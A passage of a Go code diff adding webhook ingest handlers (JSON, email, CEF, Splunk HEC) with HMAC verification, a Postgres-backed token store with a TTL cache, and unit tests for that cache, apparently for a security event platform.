+// - newline-delimited JSON (NDJSON)
+//
+// We try each in that order; the parsing is forgiving because vendors
+// disagree on shape and we don't want to fail closed.
+func (h *Handler) ServeJSON(w http.ResponseWriter, r *http.Request) {
+ token := chi.URLParam(r, "token")
+ tok := h.resolveOrFail(w, r, "json", token)
+ if tok == nil {
+ return
+ }
+ tmpl, ok := h.templateOrFail(w, "json", tok)
+ if !ok {
+ return
+ }
+
+ body, ok := h.readBody(w, r, "json", tok.TemplateID)
+ if !ok {
+ return
+ }
+ if !h.verifyHMACOrFail(w, r, "json", tok, body) {
+ return
+ }
+
+ events, err := decodeJSONEvents(body)
+ if err != nil {
+ inboxRequests.WithLabelValues("json", tok.TemplateID, "bad_json").Inc()
+ writeErr(w, http.StatusBadRequest, fmt.Sprintf("inbox: invalid JSON body: %v", err))
+ return
+ }
+
+ h.publishMany(r.Context(), w, "json", tmpl, tok, events)
+}
+
+// ServeEmail handles POST /v1/inbox/email/{tenant_token}.
+//
+// The email path expects the upstream relay (SES Inbound, SendGrid
+// Inbound Parse, Postmark, Mailgun) to have already converted RFC 5322
+// into a JSON envelope of {from,to,subject,text,html,headers,attachments}.
+// We just run the email-forwarded template (or whichever the operator
+// pinned to this token).
+func (h *Handler) ServeEmail(w http.ResponseWriter, r *http.Request) {
+ token := chi.URLParam(r, "token")
+ tok := h.resolveOrFail(w, r, "email", token)
+ if tok == nil {
+ return
+ }
+ tmpl, ok := h.templateOrFail(w, "email", tok)
+ if !ok {
+ return
+ }
+ body, ok := h.readBody(w, r, "email", tok.TemplateID)
+ if !ok {
+ return
+ }
+ if !h.verifyHMACOrFail(w, r, "email", tok, body) {
+ return
+ }
+ events, err := decodeJSONEvents(body)
+ if err != nil {
+ inboxRequests.WithLabelValues("email", tok.TemplateID, "bad_json").Inc()
+ writeErr(w, http.StatusBadRequest, fmt.Sprintf("inbox: invalid email envelope: %v", err))
+ return
+ }
+ h.publishMany(r.Context(), w, "email", tmpl, tok, events)
+}
+
+// ServeCEF handles POST /v1/inbox/cef.
+//
+// CEF doesn't use a path token — the syslog forwarder just opens an
+// HTTP connection and POSTs lines. We require the token in the
+// Authorization header instead:
+//
+// Authorization: Bearer <inbox-token>
+//
+// or a custom X-Inbox-Token header for forwarders that can't set
+// arbitrary auth headers (some old syslog-ng builds).
+//
+// Body is one CEF line per record, separated by \n; we parse, run the
+// cef-syslog template, and publish.
+func (h *Handler) ServeCEF(w http.ResponseWriter, r *http.Request) {
+ token := tokenFromHeaders(r)
+ if token == "" {
+ inboxRequests.WithLabelValues("cef", "", "no_token").Inc()
+ writeErr(w, http.StatusUnauthorized, "inbox: missing inbox token (Authorization: Bearer <token> or X-Inbox-Token)")
+ return
+ }
+ tok := h.resolveOrFail(w, r, "cef", token)
+ if tok == nil {
+ return
+ }
+ // The CEF route always uses the cef-syslog template — operators who
+ // want a different mapping should mint a separate JSON token.
+ if tok.TemplateID != "cef-syslog" {
+ inboxRequests.WithLabelValues("cef", tok.TemplateID, "wrong_template").Inc()
+ writeErr(w, http.StatusBadRequest,
+ "inbox: CEF route requires a token minted with the cef-syslog template")
+ return
+ }
+ tmpl, ok := h.templateOrFail(w, "cef", tok)
+ if !ok {
+ return
+ }
+ body, ok := h.readBody(w, r, "cef", tok.TemplateID)
+ if !ok {
+ return
+ }
+ if !h.verifyHMACOrFail(w, r, "cef", tok, body) {
+ return
+ }
+
+ records, badLines := ParseCEFBatch(string(body))
+ if len(records) == 0 && len(badLines) > 0 {
+ inboxRequests.WithLabelValues("cef", tok.TemplateID, "all_malformed").Inc()
+ writeErr(w, http.StatusBadRequest,
+ fmt.Sprintf("inbox: all %d CEF lines were malformed", len(badLines)))
+ return
+ }
+ h.publishMany(r.Context(), w, "cef", tmpl, tok, records)
+}
+
+// ServeHEC handles POST /v1/inbox/hec.
+//
+// Speaks Splunk HEC's wire protocol so any tool that can ship to Splunk
+// can ship to AiSOC by changing only the URL. Token comes via the
+// Splunk-style "Authorization: Splunk <token>" header (or Bearer).
+//
+// Body is either a single HEC envelope ({"event": ..., "time": ...,
+// "host": ..., ...}) or NDJSON of those envelopes. We extract the
+// inner event for the template's field map and stash the envelope
+// metadata for the template to pick up.
+func (h *Handler) ServeHEC(w http.ResponseWriter, r *http.Request) {
+ token := hecTokenFromHeaders(r)
+ if token == "" {
+ inboxRequests.WithLabelValues("hec", "", "no_token").Inc()
+ writeErr(w, http.StatusUnauthorized,
+ "inbox: missing HEC token (Authorization: Splunk <token>)")
+ return
+ }
+ tok := h.resolveOrFail(w, r, "hec", token)
+ if tok == nil {
+ return
+ }
+ if tok.TemplateID != "splunk-hec" {
+ inboxRequests.WithLabelValues("hec", tok.TemplateID, "wrong_template").Inc()
+ writeErr(w, http.StatusBadRequest,
+ "inbox: HEC route requires a token minted with the splunk-hec template")
+ return
+ }
+ tmpl, ok := h.templateOrFail(w, "hec", tok)
+ if !ok {
+ return
+ }
+ body, ok := h.readBody(w, r, "hec", tok.TemplateID)
+ if !ok {
+ return
+ }
+ if !h.verifyHMACOrFail(w, r, "hec", tok, body) {
+ return
+ }
+
+ events, err := decodeJSONEvents(body)
+ if err != nil {
+ inboxRequests.WithLabelValues("hec", tok.TemplateID, "bad_json").Inc()
+ writeErr(w, http.StatusBadRequest, fmt.Sprintf("inbox: invalid HEC payload: %v", err))
+ return
+ }
+ h.publishMany(r.Context(), w, "hec", tmpl, tok, events)
+}
+
+// resolveOrFail wraps Resolve with HTTP-shaped error responses.
+func (h *Handler) resolveOrFail(w http.ResponseWriter, r *http.Request, route, token string) *Token {
+ if h.store == nil {
+ inboxRequests.WithLabelValues(route, "", "no_store").Inc()
+ writeErr(w, http.StatusServiceUnavailable,
+ "inbox: store not configured (set DATABASE_DSN)")
+ return nil
+ }
+ tok, err := h.store.Resolve(r.Context(), token)
+ if err != nil {
+ switch {
+ case errors.Is(err, ErrTokenNotFound):
+ inboxRequests.WithLabelValues(route, "", "not_found").Inc()
+ writeErr(w, http.StatusNotFound, "inbox: token not found")
+ case errors.Is(err, ErrTokenRevoked):
+ inboxRequests.WithLabelValues(route, "", "revoked").Inc()
+ writeErr(w, http.StatusGone,
+ "inbox: token has been revoked; ask the operator to mint a new one")
+ default:
+ log.Error().Err(err).Str("route", route).Msg("inbox: resolve failed")
+ inboxRequests.WithLabelValues(route, "", "resolve_error").Inc()
+ writeErr(w, http.StatusInternalServerError, "inbox: temporary lookup failure")
+ }
+ return nil
+ }
+ return tok
+}
+
+func (h *Handler) templateOrFail(w http.ResponseWriter, route string, tok *Token) (*Template, bool) {
+ tmpl, err := h.registry.Get(tok.TemplateID)
+ if err != nil {
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "no_template").Inc()
+ writeErr(w, http.StatusServiceUnavailable,
+ fmt.Sprintf("inbox: template %q not registered on this ingest build", tok.TemplateID))
+ return nil, false
+ }
+ return tmpl, true
+}
+
+// readBody slurps the request body honouring h.maxBodySize. A 413 is
+// returned on overflow.
+func (h *Handler) readBody(w http.ResponseWriter, r *http.Request, route, template string) ([]byte, bool) {
+ limit := h.maxBodySize
+ if limit <= 0 {
+ limit = 10 * 1024 * 1024
+ }
+ r.Body = http.MaxBytesReader(w, r.Body, limit)
+ body, err := io.ReadAll(r.Body)
+ if err != nil {
+ var maxErr *http.MaxBytesError
+ if errors.As(err, &maxErr) {
+ inboxRequests.WithLabelValues(route, template, "too_large").Inc()
+ writeErr(w, http.StatusRequestEntityTooLarge,
+ fmt.Sprintf("inbox: body exceeds %d bytes", limit))
+ return nil, false
+ }
+ inboxRequests.WithLabelValues(route, template, "read_error").Inc()
+ writeErr(w, http.StatusBadRequest,
+ fmt.Sprintf("inbox: read body failed: %v", err))
+ return nil, false
+ }
+ return body, true
+}
+
+// verifyHMACOrFail enforces the optional HMAC-SHA256 signature header
+// when the token has hmac_secret set. We accept either:
+//
+// X-Signature: sha256=<hex>
+// X-Hub-Signature-256: sha256=<hex> (GitHub-style)
+//
+// Constant-time comparison protects against timing oracles.
+func (h *Handler) verifyHMACOrFail(w http.ResponseWriter, r *http.Request, route string, tok *Token, body []byte) bool {
+ if tok.HMACSecret == "" {
+ return true
+ }
+ provided := r.Header.Get("X-Signature")
+ if provided == "" {
+ provided = r.Header.Get("X-Hub-Signature-256")
+ }
+ if provided == "" {
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "missing_signature").Inc()
+ writeErr(w, http.StatusUnauthorized,
+ "inbox: token requires HMAC signature (set X-Signature: sha256=<hex>)")
+ return false
+ }
+ provided = strings.TrimPrefix(provided, "sha256=")
+ mac := hmac.New(sha256.New, []byte(tok.HMACSecret))
+ mac.Write(body)
+ expected := hex.EncodeToString(mac.Sum(nil))
+ if !hmac.Equal([]byte(provided), []byte(expected)) {
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "bad_signature").Inc()
+ writeErr(w, http.StatusUnauthorized, "inbox: HMAC signature mismatch")
+ return false
+ }
+ return true
+}
+
+// publishMany runs the template against each event and pushes them to
+// Kafka. We bundle into a single PublishBatch so that a busy webhook
+// burst becomes one Kafka write, not N.
+func (h *Handler) publishMany(ctx context.Context, w http.ResponseWriter, route string, tmpl *Template, tok *Token, events []map[string]any) {
+ if len(events) == 0 {
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "empty").Inc()
+ writeJSON(w, http.StatusOK, map[string]any{
+ "accepted": 0,
+ "template_id": tok.TemplateID,
+ "label": tok.Label,
+ })
+ return
+ }
+
+ receivedAt := time.Now().UTC().Format(time.RFC3339Nano)
+ tenantID := tok.TenantID.String()
+ connectorRef := "inbox:" + tok.TemplateID
+
+ normalized := make([]*normalizer.NormalizedEvent, 0, len(events))
+ for _, evt := range events {
+ ocsf := tmpl.Apply(evt, tenantID, connectorRef, receivedAt)
+ ne := &normalizer.NormalizedEvent{
+ ID: uuid.NewString(),
+ ConnectorID: connectorRef,
+ TenantID: tenantID,
+ OcsfEvent: ocsf,
+ NormalizationVersion: "inbox/1.0",
+ }
+ normalized = append(normalized, ne)
+ }
+
+ if err := h.pub.PublishBatch(ctx, normalized); err != nil {
+ log.Error().Err(err).
+ Str("route", route).
+ Str("template", tok.TemplateID).
+ Str("tenant_id", tenantID).
+ Msg("inbox: kafka publish failed")
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "publish_error").Inc()
+ writeErr(w, http.StatusBadGateway, "inbox: failed to enqueue events; please retry")
+ return
+ }
+
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "ok").Inc()
+ inboxEvents.WithLabelValues(tok.TemplateID).Add(float64(len(normalized)))
+
+ writeJSON(w, http.StatusOK, map[string]any{
+ "accepted": len(normalized),
+ "template_id": tok.TemplateID,
+ "label": tok.Label,
+ })
+}
+
+// decodeJSONEvents parses a request body into a slice of event maps.
+// Accepts a JSON object, JSON array of objects, or NDJSON. Falls
+// through in that order so vendors with inconsistent shapes still get
+// sane handling.
+func decodeJSONEvents(body []byte) ([]map[string]any, error) {
+ trimmed := bytesTrimSpace(body)
+ if len(trimmed) == 0 {
+ return nil, nil
+ }
+
+ switch trimmed[0] {
+ case '{':
+ var single map[string]any
+ if err := json.Unmarshal(body, &single); err != nil {
+ // Fall through to NDJSON; some vendors send {}\n{}\n.
+ return decodeNDJSON(body)
+ }
+ return []map[string]any{single}, nil
+ case '[':
+ var arr []map[string]any
+ if err := json.Unmarshal(body, &arr); err != nil {
+ return nil, fmt.Errorf("array decode: %w", err)
+ }
+ return arr, nil
+ default:
+ // Try NDJSON.
+ return decodeNDJSON(body)
+ }
+}
+
+func decodeNDJSON(body []byte) ([]map[string]any, error) {
+ var out []map[string]any
+ dec := json.NewDecoder(strings.NewReader(string(body)))
+ for {
+ var evt map[string]any
+ if err := dec.Decode(&evt); err != nil {
+ if errors.Is(err, io.EOF) {
+ break
+ }
+ return out, err
+ }
+ out = append(out, evt)
+ }
+ return out, nil
+}
+
+// tokenFromHeaders pulls an inbox token from Authorization (Bearer) or
+// X-Inbox-Token. Used by /v1/inbox/cef and /v1/inbox/hec.
+func tokenFromHeaders(r *http.Request) string {
+ if v := r.Header.Get("Authorization"); v != "" {
+ // "Bearer <token>" or "Splunk <token>" or just "<token>".
+ parts := strings.Fields(v)
+ switch len(parts) {
+ case 1:
+ return parts[0]
+ case 2:
+ return parts[1]
+ }
+ }
+ return r.Header.Get("X-Inbox-Token")
+}
+
+// hecTokenFromHeaders accepts the standard Splunk header form
+// "Authorization: Splunk <token>", as well as Bearer and a bare X-
+// header for forwarders that can't set Authorization.
+func hecTokenFromHeaders(r *http.Request) string {
+ if v := r.Header.Get("Authorization"); v != "" {
+ parts := strings.Fields(v)
+ switch len(parts) {
+ case 1:
+ return parts[0]
+ case 2:
+ return parts[1]
+ }
+ }
+ if v := r.Header.Get("X-Splunk-Token"); v != "" {
+ return v
+ }
+ return r.Header.Get("X-Inbox-Token")
+}
+
+// bytesTrimSpace is a small helper because bytes.TrimSpace requires an
+// extra import and we only need it once.
+func bytesTrimSpace(b []byte) []byte {
+ start := 0
+ for start < len(b) && (b[start] == ' ' || b[start] == '\n' || b[start] == '\r' || b[start] == '\t') {
+ start++
+ }
+ end := len(b)
+ for end > start && (b[end-1] == ' ' || b[end-1] == '\n' || b[end-1] == '\r' || b[end-1] == '\t') {
+ end--
+ }
+ return b[start:end]
+}
+
+func writeJSON(w http.ResponseWriter, status int, v any) {
+ w.Header().Set("Content-Type", "application/json")
+ w.WriteHeader(status)
+ _ = json.NewEncoder(w).Encode(v)
+}
+
+func writeErr(w http.ResponseWriter, status int, msg string) {
+ writeJSON(w, status, map[string]string{"error": msg})
+}
diff --git a/services/ingest/internal/inbox/store.go b/services/ingest/internal/inbox/store.go
new file mode 100644
index 000000000..0771e0bfe
--- /dev/null
+++ b/services/ingest/internal/inbox/store.go
@@ -0,0 +1,282 @@
+// Package inbox is the universal-capture push path (Workstream 6 of the
+// AI Stack & Data Integration plan).
+//
+// The Python services/api service mints rows in ``tenant_inbox_tokens``
+// (see migration 033) when an operator clicks "Push (any vendor)" in the
+// onboarding wizard. This package is the Go side: it resolves an inbox
+// token presented on /v1/inbox/{token} (or /v1/inbox/cef, /v1/inbox/hec,
+// /v1/inbox/email/{token}) to a tenant_id + template_id, runs the
+// vendor-specific YAML template against the request body, and reuses the
+// existing OCSF normalizer + Kafka publisher to land an event.
+//
+// Why direct Postgres access (and not an internal HTTP call to
+// services/api)?
+//
+// * Hot path. Every webhook from PagerDuty / Opsgenie / Cloudflare
+// hits this code; one extra cross-service HTTP hop would double our
+// ingest latency budget.
+// * The DB is already shared. services/connectors writes connector
+// state, services/api reads it back; this is one more table in the
+// same schema with the same RLS posture.
+// * Postgres RLS is a hard backstop. The ingest service connects with
+// a service-role DSN (BYPASSRLS), but if a future change ever wires
+// it through a tenant-scoped pool the policy in migration 033 keeps
+// cross-tenant lookups from leaking.
+package inbox
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "sync"
+ "time"
+
+ "github.com/google/uuid"
+ "github.com/jackc/pgx/v5"
+ "github.com/jackc/pgx/v5/pgxpool"
+ "github.com/rs/zerolog/log"
+)
+
+// Errors returned by the resolver. Handlers translate these to specific
+// HTTP status codes (404 for unknown, 410 for revoked) so vendor
+// dashboards can surface accurate failure reasons rather than blanket 4xx.
+var (
+ // ErrTokenNotFound — no active row matches the presented token.
+ // Returned for both "we never minted this" and "fingerprint collision
+ // matched a different tenant" cases; the handler treats both as 404
+ // because we don't want to leak which one it was.
+ ErrTokenNotFound = errors.New("inbox token not found")
+ // ErrTokenRevoked — token exists but has been rotated/revoked.
+ // Returned as 410 Gone so the operator can distinguish it from "you
+ // pasted the wrong URL" (404) at the vendor side.
+ ErrTokenRevoked = errors.New("inbox token revoked")
+)
+
+// Token is the resolved inbox token: which tenant owns it, which YAML
+// template processes its payloads, and (optionally) the HMAC secret used
+// to verify the X-Signature header.
+type Token struct {
+ Token string
+ TenantID uuid.UUID
+ TemplateID string
+ Label string
+ HMACSecret string
+ CreatedAt time.Time
+ LastUsedAt *time.Time
+}
+
+// Store resolves inbox tokens against Postgres with a tiny in-process
+// LRU cache.
+//
+// The cache is intentionally small (default 4096 entries) and short-TTL
+// (default 60s) — webhooks for a given token tend to come in bursts, and
+// a stale cache hit just means a revoked token works for one more minute.
+// We accept that tradeoff to keep the steady-state DB load close to zero.
+type Store struct {
+ pool *pgxpool.Pool
+
+ mu sync.RWMutex
+ cache map[string]cachedEntry
+ cacheTTL time.Duration
+ cacheMax int
+}
+
+type cachedEntry struct {
+ token *Token
+ revoked bool // remembered separately so we can fail fast
+ expires time.Time
+}
+
+// NewStore wraps a pgx pool with the resolver + cache.
+//
+// The pool is expected to be a service-role connection that bypasses RLS
+// (since /v1/inbox/{token} runs unauthenticated from the operator's
+// perspective — the URL itself is the credential, and the resolver has
+// to look across tenants to find the row).
+func NewStore(pool *pgxpool.Pool) *Store {
+ return &Store{
+ pool: pool,
+ cache: make(map[string]cachedEntry),
+ cacheTTL: 60 * time.Second,
+ cacheMax: 4096,
+ }
+}
+
+// SetCacheTTL overrides the default cache TTL. Useful for tests where we
+// want to assert that a cache miss happens after a known interval.
+func (s *Store) SetCacheTTL(ttl time.Duration) {
+ s.mu.Lock()
+ s.cacheTTL = ttl
+ s.mu.Unlock()
+}
+
+// Resolve looks up an inbox token, returning the owning tenant and the
+// template_id to apply. The hot path is a cache hit; on cache miss we
+// hit Postgres with a single indexed query.
+//
+// Side effect: on a successful resolve we update last_used_at in the
+// background (best-effort, fire-and-forget). We don't hold the request
+// path waiting for that write because it's reporting metadata, not a
+// security boundary.
+func (s *Store) Resolve(ctx context.Context, token string) (*Token, error) {
+ if token == "" {
+ return nil, ErrTokenNotFound
+ }
+
+ // Cache hit?
+ s.mu.RLock()
+ entry, ok := s.cache[token]
+ s.mu.RUnlock()
+ if ok && time.Now().Before(entry.expires) {
+ if entry.revoked {
+ return nil, ErrTokenRevoked
+ }
+ // Fire-and-forget last_used_at update — only on cache hit because
+ // the DB miss path will do its own UPDATE in the SELECT.
+ go s.touchLastUsed(token)
+ return entry.token, nil
+ }
+
+ // Cache miss / expired. Hit Postgres.
+ row := s.pool.QueryRow(ctx, `
+ SELECT
+ token,
+ tenant_id,
+ template_id,
+ COALESCE(label, ''),
+ COALESCE(hmac_secret, ''),
+ created_at,
+ revoked_at,
+ last_used_at
+ FROM tenant_inbox_tokens
+ WHERE token = $1
+ LIMIT 1
+ `, token)
+
+ var (
+ t Token
+ revokedAt *time.Time
+ lastUsed *time.Time
+ )
+ err := row.Scan(
+ &t.Token,
+ &t.TenantID,
+ &t.TemplateID,
+ &t.Label,
+ &t.HMACSecret,
+ &t.CreatedAt,
+ &revokedAt,
+ &lastUsed,
+ )
+ if err != nil {
+ if errors.Is(err, pgx.ErrNoRows) {
+ s.cacheMiss(token, true) // negative cache: prevents lookup storm on bogus URLs
+ return nil, ErrTokenNotFound
+ }
+ return nil, fmt.Errorf("inbox: resolve query failed: %w", err)
+ }
+ t.LastUsedAt = lastUsed
+
+ if revokedAt != nil {
+ s.cacheRevoked(token)
+ return nil, ErrTokenRevoked
+ }
+
+ s.cacheHit(token, &t)
+ go s.touchLastUsed(token)
+ return &t, nil
+}
+
+func (s *Store) cacheHit(token string, t *Token) {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ s.evictIfFullLocked()
+ s.cache[token] = cachedEntry{
+ token: t,
+ revoked: false,
+ expires: time.Now().Add(s.cacheTTL),
+ }
+}
+
+func (s *Store) cacheRevoked(token string) {
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ s.evictIfFullLocked()
+ s.cache[token] = cachedEntry{
+ token: nil,
+ revoked: true,
+ expires: time.Now().Add(s.cacheTTL),
+ }
+}
+
+// cacheMiss caches a "no such token" result. We TTL it like any other
+// entry but with a shorter horizon so that mint-then-immediately-call
+// flows don't get stuck on a 404.
+func (s *Store) cacheMiss(token string, persist bool) {
+ if !persist {
+ return
+ }
+ s.mu.Lock()
+ defer s.mu.Unlock()
+ s.evictIfFullLocked()
+ // Negative cache for 5s: long enough to absorb a vendor's retry
+ // burst, short enough that the operator's "I just minted this" flow
+ // works.
+ s.cache[token] = cachedEntry{
+ token: nil,
+ revoked: false,
+ expires: time.Now().Add(5 * time.Second),
+ }
+}
+
+// evictIfFullLocked is the world's simplest cache eviction: when we hit
+// the size cap, drop expired entries; if we're still full, drop a
+// random non-expired entry. We don't bother with LRU because the steady
+// state has a small working set (one entry per active vendor webhook
+// per tenant) and bursty traffic.
+//
+// Caller must hold s.mu (write).
+func (s *Store) evictIfFullLocked() {
+ if len(s.cache) < s.cacheMax {
+ return
+ }
+ now := time.Now()
+ for k, v := range s.cache {
+ if now.After(v.expires) {
+ delete(s.cache, k)
+ }
+ }
+ if len(s.cache) < s.cacheMax {
+ return
+ }
+ for k := range s.cache {
+ delete(s.cache, k)
+ break
+ }
+}
+
+// touchLastUsed updates last_used_at in the background. Errors are
+// logged at debug level; this metadata is purely for the UI's "last
+// vendor delivery" badge so a missed update never affects ingest.
+func (s *Store) touchLastUsed(token string) {
+ ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
+ defer cancel()
+ _, err := s.pool.Exec(ctx, `
+ UPDATE tenant_inbox_tokens
+ SET last_used_at = NOW()
+ WHERE token = $1 AND revoked_at IS NULL
+ `, token)
+ if err != nil {
+ log.Debug().Err(err).Msg("inbox: failed to update last_used_at")
+ }
+}
+
+// Invalidate drops a token from the cache. Used by the rotate/revoke
+// path so revoked tokens stop working immediately rather than waiting
+// for the TTL to expire. (services/api can hit /admin/cache-bust if we
+// ever wire that up; for now operators can also just wait 60s.)
+func (s *Store) Invalidate(token string) {
+ s.mu.Lock()
+ delete(s.cache, token)
+ s.mu.Unlock()
+}
diff --git a/services/ingest/internal/inbox/store_test.go b/services/ingest/internal/inbox/store_test.go
new file mode 100644
index 000000000..73d9687c8
--- /dev/null
+++ b/services/ingest/internal/inbox/store_test.go
@@ -0,0 +1,255 @@
+package inbox
+
+import (
+ "sync"
+ "testing"
+ "time"
+
+ "github.com/google/uuid"
+)
+
+// Store tests focus on the cache layer because the DB-resolve path is
+// exercised by integration tests against the real schema. The cache
+// behaviour is what saves us from a thundering herd on every webhook —
+// if the LRU/TTL contract regresses, every PagerDuty incident becomes a
+// Postgres query, which would silently double our ingest latency budget.
+//
+// We construct stores with a nil pool because the methods under test
+// never touch the pool. The Resolve() method does, but we don't call it
+// here — that would need either pgxmock or a real DB and belongs in
+// integration coverage.
+
+func newTestStore() *Store {
+ return &Store{
+ pool: nil, // intentional — we never call Resolve in these tests
+ cache: make(map[string]cachedEntry),
+ cacheTTL: 60 * time.Second,
+ cacheMax: 4096,
+ }
+}
+
+func TestStore_CacheHit_StoresAndExpires(t *testing.T) {
+ s := newTestStore()
+ s.SetCacheTTL(50 * time.Millisecond)
+
+ tok := &Token{
+ Token: "abc123",
+ TenantID: uuid.New(),
+ TemplateID: "pagerduty",
+ Label: "PagerDuty - prod",
+ }
+ s.cacheHit("abc123", tok)
+
+ // Within TTL: hit.
+ s.mu.RLock()
+ entry, ok := s.cache["abc123"]
+ s.mu.RUnlock()
+ if !ok {
+ t.Fatalf("cache entry missing after cacheHit")
+ }
+ if entry.token != tok {
+ t.Errorf("cache stored wrong token: %v", entry.token)
+ }
+ if entry.revoked {
+ t.Errorf("cache entry should not be marked revoked")
+ }
+ if !time.Now().Before(entry.expires) {
+ t.Errorf("cache entry already expired immediately after store")
+ }
+
+ // After TTL: expired (we look at the expires field rather than the
+ // public Resolve contract because Resolve hits the DB on expiry,
+ // which we can't do without a pool).
+ time.Sleep(60 * time.Millisecond)
+ s.mu.RLock()
+ entry = s.cache["abc123"]
+ s.mu.RUnlock()
+ if time.Now().Before(entry.expires) {
+ t.Errorf("cache entry should have expired by now")
+ }
+}
+
+func TestStore_CacheRevoked_FlagsEntryAsRevoked(t *testing.T) {
+ s := newTestStore()
+ s.cacheRevoked("revoked-token")
+
+ s.mu.RLock()
+ entry, ok := s.cache["revoked-token"]
+ s.mu.RUnlock()
+ if !ok {
+ t.Fatalf("cache entry missing after cacheRevoked")
+ }
+ if !entry.revoked {
+ t.Errorf("entry not flagged revoked: %#v", entry)
+ }
+ if entry.token != nil {
+ t.Errorf("revoked entry should not carry a token, got %v", entry.token)
+ }
+}
+
+func TestStore_CacheMiss_PersistFalseDoesNotCache(t *testing.T) {
+ // The persist=false path is a guard for callers who don't want a
+ // negative cache entry. Verify the cache stays empty.
+ s := newTestStore()
+ s.cacheMiss("ignore-me", false)
+ if len(s.cache) != 0 {
+ t.Errorf("cacheMiss(persist=false) should not store anything, got %d entries", len(s.cache))
+ }
+}
+
+func TestStore_CacheMiss_PersistTrueSetsShortTTL(t *testing.T) {
+ // The persist=true negative cache uses a 5s TTL — short enough that
+ // "I just minted this token" flows recover quickly, long enough to
+ // absorb a vendor's retry burst on a typo.
+ s := newTestStore()
+ s.SetCacheTTL(60 * time.Second)
+ s.cacheMiss("bogus", true)
+
+ s.mu.RLock()
+ entry := s.cache["bogus"]
+ s.mu.RUnlock()
+ expectedHorizon := time.Now().Add(5 * time.Second)
+ delta := entry.expires.Sub(expectedHorizon)
+ if delta < -200*time.Millisecond || delta > 200*time.Millisecond {
+ t.Errorf("negative cache TTL = %v from now, want ~5s", entry.expires.Sub(time.Now()))
+ }
+}
+
+func TestStore_Invalidate_DropsEntry(t *testing.T) {
+ // Rotation flow: services/api rotates a token, then calls Invalidate
+ // so the new revoked status takes effect immediately rather than
+ // waiting out the TTL.
+ s := newTestStore()
+ s.cacheHit("tok", &Token{Token: "tok"})
+
+ s.Invalidate("tok")
+
+ s.mu.RLock()
+ _, ok := s.cache["tok"]
+ s.mu.RUnlock()
+ if ok {
+ t.Errorf("Invalidate should have removed the entry")
+ }
+}
+
+func TestStore_EvictIfFull_RemovesExpiredEntriesFirst(t *testing.T) {
+ s := newTestStore()
+ s.cacheMax = 4
+ s.SetCacheTTL(60 * time.Second)
+
+ // 4 entries, 2 of them already expired.
+ now := time.Now()
+ s.mu.Lock()
+ s.cache["expired-1"] = cachedEntry{token: &Token{}, expires: now.Add(-10 * time.Second)}
+ s.cache["expired-2"] = cachedEntry{token: &Token{}, expires: now.Add(-1 * time.Second)}
+ s.cache["fresh-1"] = cachedEntry{token: &Token{}, expires: now.Add(60 * time.Second)}
+ s.cache["fresh-2"] = cachedEntry{token: &Token{}, expires: now.Add(60 * time.Second)}
+ s.mu.Unlock()
+
+ // Add a 5th — eviction should fire and clear the expired pair first.
+ s.cacheHit("fresh-3", &Token{})
+
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+ if _, ok := s.cache["expired-1"]; ok {
+ t.Errorf("expired-1 should have been evicted")
+ }
+ if _, ok := s.cache["expired-2"]; ok {
+ t.Errorf("expired-2 should have been evicted")
+ }
+ // Fresh entries should still be there.
+ if _, ok := s.cache["fresh-1"]; !ok {
+ t.Errorf("fresh-1 evicted unexpectedly")
+ }
+ if _, ok := s.cache["fresh-2"]; !ok {
+ t.Errorf("fresh-2 evicted unexpectedly")
+ }
+ if _, ok := s.cache["fresh-3"]; !ok {
+ t.Errorf("newly added fresh-3 missing")
+ }
+}
+
+func TestStore_EvictIfFull_FallsBackToRandomEvictionWhenAllFresh(t *testing.T) {
+ // When every entry is fresh and we're full, the simple evictor drops
+ // one arbitrary entry to make room. Verify size invariant rather than
+ // which specific entry — the contract is "make room", not "be LRU".
+ s := newTestStore()
+ s.cacheMax = 3
+
+ now := time.Now()
+ s.mu.Lock()
+ s.cache["a"] = cachedEntry{token: &Token{}, expires: now.Add(60 * time.Second)}
+ s.cache["b"] = cachedEntry{token: &Token{}, expires: now.Add(60 * time.Second)}
+ s.cache["c"] = cachedEntry{token: &Token{}, expires: now.Add(60 * time.Second)}
+ s.mu.Unlock()
+
+ s.cacheHit("d", &Token{})
+
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+ if len(s.cache) > 3 {
+ t.Errorf("cache exceeded max: size=%d, max=%d", len(s.cache), s.cacheMax)
+ }
+ if _, ok := s.cache["d"]; !ok {
+ t.Errorf("most-recent insert evicted itself, which would defeat the purpose")
+ }
+}
+
+func TestStore_EvictIfFull_NoOpWhenUnderCap(t *testing.T) {
+ s := newTestStore()
+ s.cacheMax = 100
+ s.cacheHit("a", &Token{})
+ s.cacheHit("b", &Token{})
+
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+ if len(s.cache) != 2 {
+ t.Errorf("cache size = %d, want 2 (no eviction below cap)", len(s.cache))
+ }
+}
+
+func TestStore_SetCacheTTL_TakesEffectImmediately(t *testing.T) {
+ s := newTestStore()
+ s.SetCacheTTL(10 * time.Millisecond)
+
+ s.cacheHit("short-lived", &Token{})
+
+ s.mu.RLock()
+ expires := s.cache["short-lived"].expires
+ s.mu.RUnlock()
+
+ if expires.Sub(time.Now()) > 100*time.Millisecond {
+ t.Errorf("SetCacheTTL not honoured: %v from now", expires.Sub(time.Now()))
+ }
+}
+
+// Concurrency smoke: lots of goroutines hammering the cache must not
+// race or panic. The race detector catches the rest.
+func TestStore_Cache_ConcurrentAccessIsSafe(t *testing.T) {
+ s := newTestStore()
+ const workers = 32
+ const ops = 200
+
+ var wg sync.WaitGroup
+ wg.Add(workers)
+ for w := 0; w < workers; w++ {
+ go func(wid int) {
+ defer wg.Done()
+ tok := &Token{Token: "shared"}
+ for i := 0; i < ops; i++ {
+ switch i % 4 {
+ case 0:
+ s.cacheHit("shared", tok)
+ case 1:
+ s.cacheRevoked("shared")
+ case 2:
+ s.cacheMiss("shared", true)
+ case 3:
+ s.Invalidate("shared")
+ }
+ }
+ }(w)
+ }
+ wg.Wait()
+ // If we got here without a deadlock or panic, we're fine.
+}
